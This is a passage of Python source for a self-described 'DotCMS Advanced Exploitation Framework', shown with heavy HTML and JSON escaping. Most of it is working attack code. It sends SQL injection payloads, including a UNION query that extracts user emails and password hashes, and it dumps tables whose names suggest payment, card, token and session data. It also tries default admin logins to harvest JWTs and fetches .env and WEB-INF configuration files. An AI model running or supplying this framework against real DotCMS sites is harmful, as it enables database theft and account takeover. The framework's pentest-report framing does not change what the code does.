f\\&#8221;{self.exploiter.results_dir}\/cleartext_search.json\\&#8221;\\n                with open(results_file, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                    json.dump(results, f, indent=2)\\n                \\n                # Display findings\\n                if found_data:\\n                    self.exploiter.log(\\&#8221;[+] Found sensitive columns:\\&#8221;, &#8216;success&#8217;)\\n                    for col in list(found_data.keys())[:10]:\\n                        self.exploiter.log(f\\&#8221;  \u2022 {col}\\&#8221;, &#8216;success&#8217;)\\n                \\n                if extracted_cleartext:\\n                    self.exploiter.log(\\&#8221;[+] Found cleartext data:\\&#8221;, &#8216;success&#8217;)\\n                    for col, data in extracted_cleartext.items():\\n                        self.exploiter.log(f\\&#8221;  \u2022 {col}: {data[:3]}&#8230;\\&#8221;, &#8216;success&#8217;)\\n            \\n            return found_data, extracted_cleartext\\n        \\n        def comprehensive_database_dump(self, vulnerable_endpoint):\\n            \\&#8221;\\&#8221;\\&#8221;Perform comprehensive database dump\\&#8221;\\&#8221;\\&#8221;\\n            self.exploiter.log(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*80, &#8216;info&#8217;)\\n            self.exploiter.log(\\&#8221;COMPREHENSIVE DATABASE DUMP\\&#8221;, &#8216;section&#8217;)\\n            self.exploiter.log(\\&#8221;=\\&#8221;*80, &#8216;info&#8217;)\\n            \\n            # Step 1: Identify database\\n            db_info = self.identify_database(vulnerable_endpoint)\\n            \\n            # Step 2: Enumerate tables\\n            tables = self.enumerate_tables(vulnerable_endpoint, limit=30)\\n            \\n            # Step 3: For each interesting table, enumerate columns and dump data\\n            interesting_tables = []\\n            interesting_patterns = [\\n                &#8216;user&#8217;, &#8216;admin&#8217;, &#8216;pass&#8217;, &#8216;account&#8217;, &#8216;customer&#8217;, \\n                &#8216;client&#8217;, &#8216;order&#8217;, &#8216;payment&#8217;, &#8216;credit&#8217;, &#8216;card&#8217;,\\n                &#8216;config&#8217;, &#8216;setting&#8217;, &#8216;token&#8217;, &#8216;session&#8217;, &#8216;log&#8217;\\n            ]\\n            \\n            for table in tables:\\n                for pattern in interesting_patterns:\\n                    if pattern in table.lower():\\n                        interesting_tables.append(table)\\n                        break\\n            \\n            # Also take some random tables if not enough interesting ones\\n            if len(interesting_tables) \\u003c 5 and len(tables) \\u003e 5:\\n                interesting_tables.extend([t for t in tables if t not in interesting_tables][:5])\\n            \\n            # Step 4: Dump data from interesting tables\\n            all_dumped_data = {}\\n            \\n            for table in interesting_tables[:10]:  # Limit to 10 tables\\n                try:\\n                    # Enumerate columns\\n                    columns = self.enumerate_columns(vulnerable_endpoint, table)\\n                    \\n                    # Dump data\\n                    if columns:\\n                        data = self.dump_table_data(vulnerable_endpoint, table, columns, limit=50)\\n                        if data:\\n                            all_dumped_data[table] = data\\n                    \\n                    time.sleep(1)  # Rate limiting\\n                    \\n                except Exception as e:\\n                    self.exploiter.log(f\\&#8221;[-] Failed to dump {table}: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n            \\n            # Step 5: Search for cleartext data\\n            sensitive_cols, cleartext_data = self.search_cleartext_data(vulnerable_endpoint)\\n            \\n            # Step 6: Generate database report\\n            self.generate_database_report(db_info, tables, all_dumped_data, sensitive_cols, cleartext_data)\\n            \\n            return {\\n                &#8216;database_info&#8217;: db_info,\\n                &#8216;tables&#8217;: tables,\\n                &#8216;dumped_data&#8217;: all_dumped_data,\\n                &#8216;sensitive_columns&#8217;: sensitive_cols,\\n                &#8216;cleartext_data&#8217;: cleartext_data\\n            }\\n        \\n        def generate_database_report(self, db_info, tables, dumped_data, sensitive_cols, cleartext_data):\\n            \\&#8221;\\&#8221;\\&#8221;Generate comprehensive database report\\&#8221;\\&#8221;\\&#8221;\\n            report = f\\&#8221;\\&#8221;\\&#8221;\\n    {&#8216;=&#8217;*80}\\n    DATABASE PENETRATION TEST REPORT\\n    {&#8216;=&#8217;*80}\\n    \\n    Database Type: {db_info.get(&#8216;type&#8217;, &#8216;Unknown&#8217;)}\\n    Database Version: {db_info.get(&#8216;version&#8217;, &#8216;Unknown&#8217;)}\\n    Total Tables Found: {len(tables)}\\n    Tables Dumped: {len(dumped_data)}\\n    Sensitive Columns: {len(sensitive_cols)}\\n    Cleartext Data Found: {sum(len(v) for v in cleartext_data.values())}\\n    \\n    TABLE ENUMERATION\\n    {&#8216;-&#8216;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            for i, table in enumerate(tables[:50], 1):\\n                report += f\\&#8221;{i:3}. {table}\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    DATA DUMP SUMMARY\\n    {&#8216;-&#8216;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            for table, data in dumped_data.items():\\n                report += f\\&#8221;\\\\n{table}:\\\\n\\&#8221;\\n                report += f\\&#8221;  Records dumped: {len(data)}\\\\n\\&#8221;\\n                if data and isinstance(data[0], dict):\\n                    sample_keys = list(data[0].keys())[:3]\\n                    report += f\\&#8221;  Sample columns: {&#8216;, &#8216;.join(sample_keys)}\\\\n\\&#8221;\\n                \\n                # Show sample data\\n                if data:\\n                    report += f\\&#8221;  Sample record: {str(data[0])[:100]}&#8230;\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    SENSITIVE COLUMNS FOUND\\n    {&#8216;-&#8216;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            for col, term in list(sensitive_cols.items())[:20]:\\n                report += f\\&#8221;\u2022 {col} (contains: {term})\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    CLEARTEXT DATA DISCOVERED\\n    {&#8216;-&#8216;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            for column, values in cleartext_data.items():\\n                report += f\\&#8221;\\\\n{column}:\\\\n\\&#8221;\\n                for value in values[:5]:\\n                    report += f\\&#8221;  \u2022 {value}\\\\n\\&#8221;\\n                if len(values) \\u003e 5:\\n                    report += f\\&#8221;  &#8230; and {len(values) &#8211; 5} more\\\\n\\&#8221;\\n            \\n            report += f\\&#8221;\\&#8221;\\&#8221;\\n    SECURITY FINDINGS\\n    {&#8216;-&#8216;*80}\\n    1. Database exposed via SQL injection\\n    2. {len(sensitive_cols)} sensitive columns identified\\n    3. {sum(len(v) for v in cleartext_data.values())} cleartext sensitive values found\\n    4. {len(dumped_data)} tables successfully dumped\\n    \\n    RECOMMENDATIONS\\n    {&#8216;-&#8216;*80}\\n    1. Immediate patch of SQL injection vulnerabilities\\n    2. Encrypt all sensitive data at rest\\n    3. Implement proper access controls to database\\n    4. Conduct security audit of all database queries\\n    5. Implement database activity monitoring\\n    6. Rotate all exposed credentials immediately\\n    \\n    {&#8216;=&#8217;*80}\\n    END OF DATABASE REPORT\\n    {&#8216;=&#8217;*80}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            report_file = f\\&#8221;{self.exploiter.results_dir}\/database_penetration_report.txt\\&#8221;\\n            with open(report_file, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                f.write(report)\\n            \\n            self.exploiter.log(f\\&#8221;[+] Database report generated: {report_file}\\&#8221;, &#8216;success&#8217;)\\n            \\n            # Also save comprehensive JSON\\n            comprehensive_data = {\\n                &#8216;database_info&#8217;: db_info,\\n                &#8216;all_tables&#8217;: tables,\\n                &#8216;dumped_tables&#8217;: list(dumped_data.keys()),\\n                &#8216;sensitive_columns&#8217;: sensitive_cols,\\n                &#8216;cleartext_data&#8217;: cleartext_data,\\n                &#8216;dump_summary&#8217;: {table: len(data) for table, data in dumped_data.items()}\\n            }\\n            \\n            json_file = f\\&#8221;{self.exploiter.results_dir}\/database_comprehensive.json\\&#8221;\\n            with open(json_file, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                json.dump(comprehensive_data, f, indent=2)\\n            \\n            return report\\n    \\n    # \u0625\u0636\u0627\u0641\u0629 \u062f\u0648\u0627\u0644 \u062c\u062f\u064a\u062f\u0629 \u0625\u0644\u0649 \u0643\u0644\u0627\u0633 DotCMSExploiter \u0627\u0644\u0631\u0626\u064a\u0633\u064a\\n    class DotCMSExploiter:\\n        \\&#8221;\\&#8221;\\&#8221;Main exploitation class &#8211; Enhanced with Database Enumeration\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, target):\\n            self.target = target.rstrip(&#8216;\/&#8217;)\\n            self.evidence = EvidenceCollector(target)\\n            self.db_enumerator = DatabaseEnumerator(self)  # Initialize DB enumerator\\n            \\n            # Statistics\\n            self.stats = {\\n                &#8216;vulnerabilities&#8217;: 0,\\n                &#8216;users_extracted&#8217;: 0,\\n                &#8216;tokens_found&#8217;: 0,\\n                &#8216;databases_found&#8217;: 0,\\n                &#8216;files_leaked&#8217;: 0,\\n                &#8216;tables_enumerated&#8217;: 0,\\n                &#8216;records_dumped&#8217;: 0\\n            }\\n            \\n            # Create results directory\\n            timestamp = datetime.now().strftime(&#8216;%Y%m%d_%H%M%S&#8217;)\\n            self.results_dir = f\\&#8221;results_{timestamp}\\&#8221;\\n            os.makedirs(self.results_dir, exist_ok=True)\\n            \\n            # Setup session\\n            import requests\\n            self.session = requests.Session()\\n            self.session.verify = False\\n            self.session.timeout = 30\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,\\n                &#8216;Connection&#8217;: &#8216;keep-alive&#8217;\\n            })\\n            \\n            # Suppress warnings\\n            import urllib3\\n            urllib3.disable_warnings()\\n            \\n            print(f\\&#8221;{Fore.CYAN}{&#8216;=&#8217;*80}\\&#8221;)\\n            print(f\\&#8221;{Fore.YELLOW}    DotCMS Advanced Exploitation Framework\\&#8221;)\\n            print(f\\&#8221;{Fore.YELLOW}    Enhanced with Database Enumeration\\&#8221;)\\n            print(f\\&#8221;{Fore.CYAN}{&#8216;=&#8217;*80}{Style.RESET_ALL}\\&#8221;)\\n        \\n        def log(self, message, level=&#8217;info&#8217;):\\n            \\&#8221;\\&#8221;\\&#8221;Log with colors\\&#8221;\\&#8221;\\&#8221;\\n            timestamp = datetime.now().strftime(&#8216;%H:%M:%S&#8217;)\\n            colors = {\\n                &#8216;success&#8217;: Fore.GREEN + Style.BRIGHT,\\n                &#8216;error&#8217;: Fore.RED + Style.BRIGHT,\\n                &#8216;warning&#8217;: Fore.YELLOW + Style.BRIGHT,\\n                &#8216;info&#8217;: Fore.CYAN,\\n                &#8216;critical&#8217;: Fore.RED + Back.WHITE + Style.BRIGHT,\\n                &#8216;debug&#8217;: Fore.LIGHTBLACK_EX,\\n                &#8216;section&#8217;: Fore.MAGENTA + Style.BRIGHT,\\n            }\\n            \\n            color = colors.get(level, Fore.RESET)\\n            print(f\\&#8221;{color}[{timestamp}] {message}{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Log to file\\n            with open(f\\&#8221;{self.results_dir}\/execution.log\\&#8221;, &#8216;a&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                f.write(f\\&#8221;[{timestamp}] {message}\\\\n\\&#8221;)\\n        \\n        def check_tls(self):\\n            \\&#8221;\\&#8221;\\&#8221;Check TLS\/SSL configuration\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;[*] Checking TLS\/SSL configuration&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            try:\\n                parsed = urlparse(self.target)\\n                hostname = parsed.hostname\\n                port = parsed.port or 443\\n                \\n                context = ssl.create_default_context()\\n                with socket.create_connection((hostname, port), timeout=10) as sock:\\n                    with context.wrap_socket(sock, server_hostname=hostname) as ssock:\\n                        cert = ssock.getpeercert()\\n                        \\n                        # Check certificate expiry\\n                        if &#8216;notAfter&#8217; in cert:\\n                            expires = datetime.strptime(cert[&#8216;notAfter&#8217;], &#8216;%b %d %H:%M:%S %Y %Z&#8217;)\\n                            days_to_expire = (expires &#8211; datetime.now()).days\\n                            \\n                            if days_to_expire \\u003c 30:\\n                                self.log(f\\&#8221;[-] Certificate expires in {days_to_expire} days\\&#8221;, &#8216;warning&#8217;)\\n                            else:\\n                                self.log(f\\&#8221;[+] Certificate valid for {days_to_expire} days\\&#8221;, &#8216;success&#8217;)\\n                        \\n                        # Get SSL\/TLS version\\n                        ssl_version = ssock.version()\\n                        self.log(f\\&#8221;[+] SSL\/TLS Version: {ssl_version}\\&#8221;, &#8216;success&#8217;)\\n                        \\n            except Exception as e:\\n                self.log(f\\&#8221;[-] TLS check failed: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n        \\n        def cors_analysis(self):\\n            \\&#8221;\\&#8221;\\&#8221;Analyze CORS configuration\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;[*] Analyzing CORS configuration&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            test_origins = [\\n                &#8216;https:\/\/evil.com&#8217;,\\n                &#8216;http:\/\/evil.com&#8217;,\\n                &#8216;null&#8217;,\\n                self.target.replace(&#8216;https:\/\/&#8217;, &#8216;http:\/\/&#8217;),\\n            ]\\n            \\n            vulnerable = False\\n            \\n            for origin in test_origins:\\n                headers = {&#8216;Origin&#8217;: origin}\\n                \\n                try:\\n                    response = self.session.get(self.target, headers=headers, timeout=10)\\n                    \\n                    if &#8216;Access-Control-Allow-Origin&#8217; in response.headers:\\n                        allowed_origin = response.headers[&#8216;Access-Control-Allow-Origin&#8217;]\\n                        \\n                        if allowed_origin == origin or allowed_origin == &#8216;*&#8217;:\\n                            self.log(f\\&#8221;[!] CORS Misconfiguration: {allowed_origin}\\&#8221;, &#8216;warning&#8217;)\\n                            vulnerable = True\\n                            \\n                            if &#8216;Access-Control-Allow-Credentials&#8217; in response.headers:\\n                                if response.headers[&#8216;Access-Control-Allow-Credentials&#8217;].lower() == &#8216;true&#8217;:\\n                                    self.log(f\\&#8221;[!] CORS with credentials allowed!\\&#8221;, &#8216;critical&#8217;)\\n                    \\n                except Exception as e:\\n                    pass\\n            \\n            if not vulnerable:\\n                self.log(\\&#8221;[+] CORS properly configured\\&#8221;, &#8216;success&#8217;)\\n        \\n        async def async_discovery(self):\\n            \\&#8221;\\&#8221;\\&#8221;Asynchronous discovery of endpoints\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;[*] Starting asynchronous discovery&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            # Common DotCMS endpoints\\n            endpoints = [\\n                &#8216;\/api\/v1\/contenttype&#8217;,\\n                &#8216;\/api\/v1\/workflow&#8217;,\\n                &#8216;\/api\/v1\/sites&#8217;,\\n                &#8216;\/api\/v1\/users&#8217;,\\n                &#8216;\/api\/v1\/authentication&#8217;,\\n                &#8216;\/dotAdmin\/&#8217;,\\n                &#8216;\/admin\/&#8217;,\\n                &#8216;\/html\/portlet\/&#8217;,\\n                &#8216;\/c\/&#8217;,\\n                &#8216;\/application\/&#8217;,\\n                &#8216;\/.env&#8217;,\\n                &#8216;\/config.json&#8217;,\\n                &#8216;\/web.config&#8217;,\\n                &#8216;\/dotcms-config.xml&#8217;\\n            ]\\n            \\n            async def check_endpoint(session, endpoint):\\n                url = urljoin(self.target, endpoint)\\n                try:\\n                    async with session.get(url, timeout=10, ssl=False) as response:\\n                        return {\\n                            &#8216;endpoint&#8217;: endpoint,\\n                            &#8216;status&#8217;: response.status,\\n                            &#8216;url&#8217;: str(response.url)\\n                        }\\n                except Exception as e:\\n                    return {\\n                        &#8216;endpoint&#8217;: endpoint,\\n                        &#8216;status&#8217;: 0,\\n                        &#8216;error&#8217;: str(e)\\n                    }\\n            \\n            connector = aiohttp.TCPConnector(ssl=False)\\n            timeout = aiohttp.ClientTimeout(total=30)\\n            \\n            async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:\\n                tasks = [check_endpoint(session, endpoint) for endpoint in endpoints]\\n                results = await asyncio.gather(*tasks)\\n            \\n            discovered = []\\n            for result in results:\\n                if isinstance(result, dict) and result.get(&#8216;status&#8217;, 0) in [200, 301, 302, 403]:\\n                    discovered.append(result)\\n            \\n            self.log(f\\&#8221;[+] Discovered {len(discovered)} accessible endpoints\\&#8221;, &#8216;success&#8217;)\\n            return discovered\\n        \\n        def enhanced_sqli_testing(self):\\n            \\&#8221;\\&#8221;\\&#8221;Enhanced SQL injection testing\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;\\\\n[*] Starting enhanced SQL injection testing&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            endpoints = [\\n                &#8216;\/api\/v1\/contenttype&#8217;,\\n                &#8216;\/api\/v1\/workflow&#8217;,\\n                &#8216;\/api\/v1\/sites&#8217;,\\n                &#8216;\/dotAdmin\/personalization&#8217;\\n            ]\\n            \\n            # Advanced payloads\\n            payloads = {\\n                &#8216;Time-Based&#8217;: [\\n                    \\&#8221;&#8216; AND (SELECT pg_sleep(5))&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; AND SLEEP(5)&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; WAITFOR DELAY &#8217;00:00:05&#8217;&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; AND 1234=(SELECT 1234 FROM PG_SLEEP(5))&#8211;\\&#8221;\\n                ],\\n                &#8216;Error-Based&#8217;: [\\n                    \\&#8221;&#8216; AND (SELECT cast((SELECT &#8216;test&#8217;) as int))&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; AND extractvalue(1, concat(0x7e, version()))&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; AND 1=CONVERT(int, @@version)&#8211;\\&#8221;\\n                ],\\n                &#8216;Boolean-Based&#8217;: [\\n                    \\&#8221;&#8216; AND &#8216;1&#8217;=&#8217;1\\&#8221;,\\n                    \\&#8221;&#8216; AND &#8216;1&#8217;=&#8217;2\\&#8221;,\\n                    \\&#8221;&#8216; OR &#8216;1&#8217;=&#8217;1\\&#8221;\\n                ],\\n                &#8216;Union-Based&#8217;: [\\n                    \\&#8221;&#8216; UNION SELECT NULL,NULL,NULL&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; UNION SELECT 1,2,3&#8211;\\&#8221;,\\n                    \\&#8221;&#8216; UNION SELECT @@version,user(),database()&#8211;\\&#8221;\\n                ]\\n            }\\n            \\n            vulnerabilities = []\\n            \\n            for endpoint in endpoints:\\n                self.log(f\\&#8221;[*] Testing endpoint: {endpoint}\\&#8221;, &#8216;info&#8217;)\\n                url = urljoin(self.target, endpoint)\\n                \\n                # First get baseline\\n                try:\\n                    baseline = self.session.get(url, timeout=10)\\n                    baseline_length = len(baseline.text)\\n                except:\\n                    baseline_length = 0\\n                \\n                for category, category_payloads in payloads.items():\\n                    for payload in category_payloads[:3]:  # Test first 3 of each category\\n                        try:\\n                            start_time = time.time()\\n                            response = self.session.get(\\n                                url, \\n                                params={&#8216;filter&#8217;: payload},\\n                                timeout=15\\n                            )\\n                            elapsed = time.time() &#8211; start_time\\n                            \\n                            # Time-Based detection\\n                            if category == &#8216;Time-Based&#8217; and elapsed \\u003e 4:\\n                                self.log(f\\&#8221;[!] Time-Based SQLi detected on {endpoint}\\&#8221;, &#8216;critical&#8217;)\\n                                vulnerabilities.append({\\n                                    &#8216;endpoint&#8217;: endpoint,\\n                                    &#8216;type&#8217;: category,\\n                                    &#8216;payload&#8217;: payload,\\n                                    &#8216;delay&#8217;: round(elapsed, 2),\\n                                    &#8216;status&#8217;: response.status_code\\n                                })\\n                                \\n                                evidence_id = self.evidence.add_evidence(\\n                                    f&#8217;SQL_Injection_{category}&#8217;,\\n                                    endpoint,\\n                                    payload,\\n                                    f\\&#8221;GET {url}?filter={quote(payload)}\\&#8221;,\\n                                    response.text[:1000],\\n                                    severity=\\&#8221;Critical\\&#8221;,\\n                                    cvss=9.0,\\n                                    cwe=89\\n                                )\\n                                self.stats[&#8216;vulnerabilities&#8217;] += 1\\n                                break\\n                            \\n                            # Error-Based detection\\n                            error_indicators = [\\n                                &#8216;SQL syntax&#8217;, &#8216;mysql_fetch&#8217;, &#8216;pg_&#8217;, &#8216;ORA-&#8216;,\\n                                &#8216;Microsoft OLE DB&#8217;, &#8216;Unclosed quotation&#8217;,\\n                                &#8216;You have an error in your SQL syntax&#8217;\\n                            ]\\n                            \\n                            if any(indicator.lower() in response.text.lower() for indicator in error_indicators):\\n                                self.log(f\\&#8221;[!] Error-Based SQLi detected on {endpoint}\\&#8221;, &#8216;critical&#8217;)\\n                                vulnerabilities.append({\\n                                    &#8216;endpoint&#8217;: endpoint,\\n                                    &#8216;type&#8217;: category,\\n                                    &#8216;payload&#8217;: payload,\\n                                    &#8216;status&#8217;: response.status_code\\n                                })\\n                                \\n                                evidence_id = self.evidence.add_evidence(\\n                                    f&#8217;SQL_Injection_{category}&#8217;,\\n                                    endpoint,\\n                                    payload,\\n                                    f\\&#8221;GET {url}?filter={quote(payload)}\\&#8221;,\\n                                    response.text[:1000],\\n                                    severity=\\&#8221;Critical\\&#8221;,\\n                                    cvss=9.0,\\n                                    cwe=89\\n                                )\\n                                self.stats[&#8216;vulnerabilities&#8217;] += 1\\n                                break\\n                            \\n                            # Boolean-Based detection\\n                            if category == &#8216;Boolean-Based&#8217;:\\n                                test_length = len(response.text)\\n                                if abs(baseline_length &#8211; test_length) \\u003e 200:\\n                                    self.log(f\\&#8221;[!] Boolean-Based SQLi suspected on {endpoint}\\&#8221;, &#8216;warning&#8217;)\\n                                    vulnerabilities.append({\\n                                        &#8216;endpoint&#8217;: endpoint,\\n                                        &#8216;type&#8217;: category,\\n                                        &#8216;payload&#8217;: payload,\\n                                        &#8216;length_diff&#8217;: abs(baseline_length &#8211; test_length)\\n                                    })\\n                        \\n                        except Exception as e:\\n                            continue\\n            \\n            return vulnerabilities\\n        \\n        def extract_users_comprehensive(self, vulnerable_endpoint=None):\\n            \\&#8221;\\&#8221;\\&#8221;Comprehensive user extraction\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;\\\\n[*] Starting comprehensive user extraction&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            # If no endpoint provided, try common ones\\n            if not vulnerable_endpoint:\\n                endpoints_to_try = [&#8216;\/api\/v1\/contenttype&#8217;, &#8216;\/api\/v1\/sites&#8217;]\\n            else:\\n                endpoints_to_try = [vulnerable_endpoint]\\n            \\n            users = []\\n            \\n            for endpoint in endpoints_to_try:\\n                try:\\n                    # Try to get version first\\n                    version_payload = \\&#8221;&#8216; AND (SELECT substring(version() from 1 for 1))=&#8217;P&#8217;&#8211;\\&#8221;\\n                    response = self.session.get(\\n                        urljoin(self.target, endpoint),\\n                        params={&#8216;filter&#8217;: version_payload},\\n                        timeout=10\\n                    )\\n                    \\n                    # Simple extraction attempt\\n                    extract_payload = \\&#8221;&#8216; UNION SELECT NULL,emailaddress,password_ FROM user_ LIMIT 5&#8211;\\&#8221;\\n                    response = self.session.get(\\n                        urljoin(self.target, endpoint),\\n                        params={&#8216;filter&#8217;: extract_payload},\\n                        timeout=10\\n                    )\\n                    \\n                    # Look for email patterns in response\\n                    email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\\\.[a-zA-Z]{2,}&#8217;\\n                    hash_pattern = r&#8217;\\\\$2[ay]\\\\$\\\\d+\\\\$[a-zA-Z0-9.\/]+&#8217;\\n                    \\n                    emails = re.findall(email_pattern, response.text)\\n                    hashes = re.findall(hash_pattern, response.text)\\n                    \\n                    for email in emails[:5]:  # Limit to 5 emails\\n                        users.append({\\n                            &#8217;email&#8217;: email,\\n                            &#8216;source&#8217;: endpoint,\\n                            &#8216;method&#8217;: &#8216;direct_extraction&#8217;\\n                        })\\n                        self.log(f\\&#8221;[+] Found email: {email}\\&#8221;, &#8216;success&#8217;)\\n                    \\n                    if emails or hashes:\\n                        self.evidence.add_evidence(\\n                            &#8216;User_Data_Exposure&#8217;,\\n                            endpoint,\\n                            extract_payload,\\n                            f\\&#8221;GET {urljoin(self.target, endpoint)}?filter={quote(extract_payload)}\\&#8221;,\\n                            response.text[:2000],\\n                            severity=\\&#8221;High\\&#8221;,\\n                            cvss=7.5,\\n                            cwe=200\\n                        )\\n                \\n                except Exception as e:\\n                    self.log(f\\&#8221;[-] Extraction failed for {endpoint}: {str(e)}\\&#8221;, &#8216;error&#8217;)\\n            \\n            if users:\\n                self.log(f\\&#8221;[+] Extracted {len(users)} potential users\\&#8221;, &#8216;success&#8217;)\\n                self.save_extracted_data(&#8216;users&#8217;, users)\\n                self.stats[&#8216;users_extracted&#8217;] = len(users)\\n            \\n            return users\\n        \\n        def enhanced_jwt_hunting(self):\\n            \\&#8221;\\&#8221;\\&#8221;Enhanced JWT token hunting\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;\\\\n[*] Enhanced JWT token hunting&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            found_tokens = []\\n            \\n            # Check login endpoint\\n            login_url = urljoin(self.target, &#8216;\/api\/v1\/authentication\/logInUser&#8217;)\\n            \\n            # Try default credentials\\n            default_creds = [\\n                {&#8216;userId&#8217;: &#8216;admin@dotcms.com&#8217;, &#8216;password&#8217;: &#8216;admin&#8217;},\\n                {&#8216;userId&#8217;: &#8216;admin&#8217;, &#8216;password&#8217;: &#8216;admin123&#8217;},\\n                {&#8216;userId&#8217;: &#8216;demo&#8217;, &#8216;password&#8217;: &#8216;demo&#8217;}\\n            ]\\n            \\n            for creds in default_creds:\\n                try:\\n                    response = self.session.post(\\n                        login_url,\\n                        json=creds,\\n                        timeout=10\\n                    )\\n                    \\n                    if response.status_code == 200:\\n                        # Look for JWT in response\\n                        jwt_pattern = r'[A-Za-z0-9\\\\-_]+\\\\.[A-Za-z0-9\\\\-_]+\\\\.[A-Za-z0-9\\\\-_]+&#8217;\\n                        tokens = re.findall(jwt_pattern, response.text)\\n                        \\n                        for token in tokens:\\n                            if len(token) \\u003e 50:  # Basic JWT validation\\n                                found_tokens.append(token)\\n                                self.log(f\\&#8221;[+] Found JWT token: {token[:30]}&#8230;\\&#8221;, &#8216;success&#8217;)\\n                                \\n                                # Test token\\n                                if self.validate_jwt(token):\\n                                    self.log(f\\&#8221;[\u2713] JWT token is valid!\\&#8221;, &#8216;success&#8217;)\\n                \\n                except Exception as e:\\n                    continue\\n            \\n            # Also check current user endpoint\\n            current_user_url = urljoin(self.target, &#8216;\/api\/v1\/users\/current&#8217;)\\n            try:\\n                response = self.session.get(current_user_url, timeout=10)\\n                jwt_pattern = r'[A-Za-z0-9\\\\-_]+\\\\.[A-Za-z0-9\\\\-_]+\\\\.[A-Za-z0-9\\\\-_]+&#8217;\\n                tokens = re.findall(jwt_pattern, response.text)\\n                found_tokens.extend(tokens)\\n            except:\\n                pass\\n            \\n            if found_tokens:\\n                found_tokens = list(set(found_tokens))  # Remove duplicates\\n                self.save_extracted_data(&#8216;jwt_tokens&#8217;, found_tokens)\\n                self.stats[&#8216;tokens_found&#8217;] = len(found_tokens)\\n            \\n            return found_tokens\\n        \\n        def validate_jwt(self, token):\\n            \\&#8221;\\&#8221;\\&#8221;Validate JWT token\\&#8221;\\&#8221;\\&#8221;\\n            # Basic format check\\n            parts = token.split(&#8216;.&#8217;)\\n            if len(parts) != 3:\\n                return False\\n            \\n            # Try to use token\\n            headers = {&#8216;Authorization&#8217;: f&#8217;Bearer {token}&#8217;}\\n            test_urls = [\\n                &#8216;\/api\/v1\/users\/current&#8217;,\\n                &#8216;\/api\/v1\/sites&#8217;,\\n                &#8216;\/dotAdmin\/&#8217;\\n            ]\\n            \\n            for endpoint in test_urls:\\n                url = urljoin(self.target, endpoint)\\n                try:\\n                    response = self.session.get(url, headers=headers, timeout=10)\\n                    if response.status_code == 200:\\n                        return True\\n                except:\\n                    continue\\n            \\n            return False\\n        \\n        def save_extracted_data(self, data_type, data):\\n            \\&#8221;\\&#8221;\\&#8221;Save extracted data to file\\&#8221;\\&#8221;\\&#8221;\\n            filename = f\\&#8221;{self.results_dir}\/{data_type}.json\\&#8221;\\n            \\n            with open(filename, &#8216;w&#8217;, encoding=&#8217;utf-8&#8242;) as f:\\n                json.dump(data, f, indent=2, default=str)\\n            \\n            self.log(f\\&#8221;[+] Data saved to {filename}\\&#8221;, &#8216;success&#8217;)\\n        \\n        def dump_configuration(self):\\n            \\&#8221;\\&#8221;\\&#8221;Dump configuration files\\&#8221;\\&#8221;\\&#8221;\\n            self.log(\\&#8221;\\\\n[*] Dumping configuration files&#8230;\\&#8221;, &#8216;info&#8217;)\\n            \\n            config_files = [\\n                &#8216;\/.env&#8217;,\\n                &#8216;\/config.json&#8217;,\\n                &#8216;\/configuration.json&#8217;,\\n                &#8216;\/web.config&#8217;,\\n                &#8216;\/server-config.xml&#8217;,\\n                &#8216;\/dotcms-config.xml&#8217;,\\n                &#8216;\/WEB-INF\/web.xml&#8217;,\\n                &#8216;\/META-INF\/context.xml&#8217;\\n            ]\\n            \\n            leaked_files = []\\n            \\n            for config_file in config_files:\\n                url = urljoin(self.target, config_file)\\n                try:\\n                    response = self.session.get(url, timeout=10)\\n                    if response.status_code == 200 and len(response.text) \\u003e 10:\\n                        self.log(f\\&#8221;[+] Found config file: {config_file}\\&#8221;, &#8216;success&#8217;)\\n                        \\n                        # Save file\\n                        safe_name = config_file.replace(&#8216;\/&#8217;, &#8216;_&#8217;).replace(&#8216;.&#8217;, &#8216;_&#8217;)\\n                        file_path = 